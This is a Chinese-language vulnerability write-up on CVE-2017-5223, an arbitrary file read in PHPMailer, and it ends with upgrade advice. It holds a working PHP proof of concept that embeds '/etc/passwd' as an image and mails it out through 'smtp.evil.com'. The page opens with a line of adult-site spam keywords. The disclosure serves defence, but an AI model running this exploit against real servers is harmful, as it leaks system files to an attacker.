99久久国产综合精品国_亚洲av日韩aⅴ电影_午夜福利在线电影_亚洲aⅤ色欲久久一区二区三区_91九色蝌蚪国产精品_亚洲av无码乱码在线观看四虎_4国产精品无码制服丝袜_亚洲Av成人五月天在线观看_牛牛成人永久免费视频_午夜福利在线资源


PHPMailer任意文件讀取漏洞分析(CVE-2017-5223)

本文原創(chuàng)作者:

來源:FreeBuf.COM

PHPMailer是堪稱全球最流行郵件發(fā)送類,其全球范圍內(nèi)的用戶量大約有900萬,被諸多開源項目所采用,包括WordPress、Drupal、1CRM、Joomla!等。銥迅安全團(tuán)隊于2017年1月6日發(fā)現(xiàn)PHPMailer?<= 5.2.21版本存在任意文件讀取漏洞,成功利用該漏洞,可獲取服務(wù)器中的任意文件內(nèi)容。目前該漏洞已提交官方,并獲得修復(fù)。

漏洞編號

CVE-2017-5223

影響版本:

PHPMailer?<= 5.2.21

漏洞級別:

高危

漏洞詳情:

漏洞文件函數(shù): class.phpmailer.php 的encodeFile函數(shù)。

該函數(shù)中接收了一個$path變量,最后該$path變量的值帶入到了file_get_contents函數(shù)中執(zhí)行。如果該$path變量可控即可任意文件讀取:

通過跟蹤發(fā)現(xiàn)AddAttachment 和AddEmbeddedImage 函數(shù)最后會調(diào)用到encode File函數(shù)。 AddAttachment函數(shù)的作用是在郵件中發(fā)送附件的,如果附件名稱可控即可觸發(fā)該漏洞。

主要來看AddEmbeddedImage函數(shù),該函數(shù)是處理郵件內(nèi)容中的圖片的,現(xiàn)在只要$path可控即可觸發(fā)該漏洞?,F(xiàn)在就是尋找可控點:

回溯該函數(shù)發(fā)現(xiàn)msgHTML函數(shù)調(diào)用了該函數(shù),msgHTML 函數(shù)是用來發(fā)送html格式的郵件,調(diào)用過程如下:

回溯$filename 看其是否可控,從代碼中可以看出$filename是由$url賦值的。即:$filename = basename($url);

再來跟蹤$url:

$url是通過解析$message里src=”xxxxx”而來的,$url最終被解析出來就是xxxxx,而$message就是我們發(fā)送郵件的自定義的內(nèi)容。這樣可控點就找到了,即可成功利用該漏洞了。

漏洞POC:

<?php ?
#Author:Yxlink
require_once('PHPMailerAutoload.php');
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->Host = "smtp.evil.com";
$mail->Port = 25;
$mail->SMTPAuth ? = true;
?
$mail->CharSet ?= "UTF-8";
$mail->Encoding = "base64";
?
$mail->Username = "test@evil.com"; ?
$mail->Password = "tes1234t"; ?
$mail->Subject = "hello";
?
$mail->From = "test@evil.com"; ?
$mail->FromName = "test"; ?
?
$address = "testtest@test.com";
$mail->AddAddress($address, "test");
?
$mail->AddAttachment('test.txt','test.txt'); ?//test.txt可控即可任意文件讀取?
$mail->IsHTML(true); ?
$msg="<img src='/etc/passwd'>test";//郵件內(nèi)容形如這樣寫。
$mail->msgHTML($msg);
?
if(!$mail->Send()) {
? echo "Mailer Error: " . $mail->ErrorInfo;
} else {
? echo "Message sent!";
}
?>

用$msg的內(nèi)容給自己的郵箱發(fā)一封郵件,即可獲取到服務(wù)器的/etc/passwd的內(nèi)容。如圖:

漏洞修復(fù):

漏洞詳情目前已經(jīng)提交給了PHPMailer官方,官方也已經(jīng)發(fā)布了PHPMailer 5.2.22緊急安全修復(fù),解決上述問題,受影響的用戶應(yīng)當(dāng)立即升級:

https://github.com/PHPMailer/PHPMailer

詳情可參見:

https://github.com/PHPMailer/PHPMailer/blob/master/changelog.md

https://github.com/PHPMailer/PHPMailer/blob/master/SECURITY.md

原文地址:http://www.freebuf.com/vuls/124820.html

 

上一篇
下一篇

聯(lián)系我們:cert@chaosec.com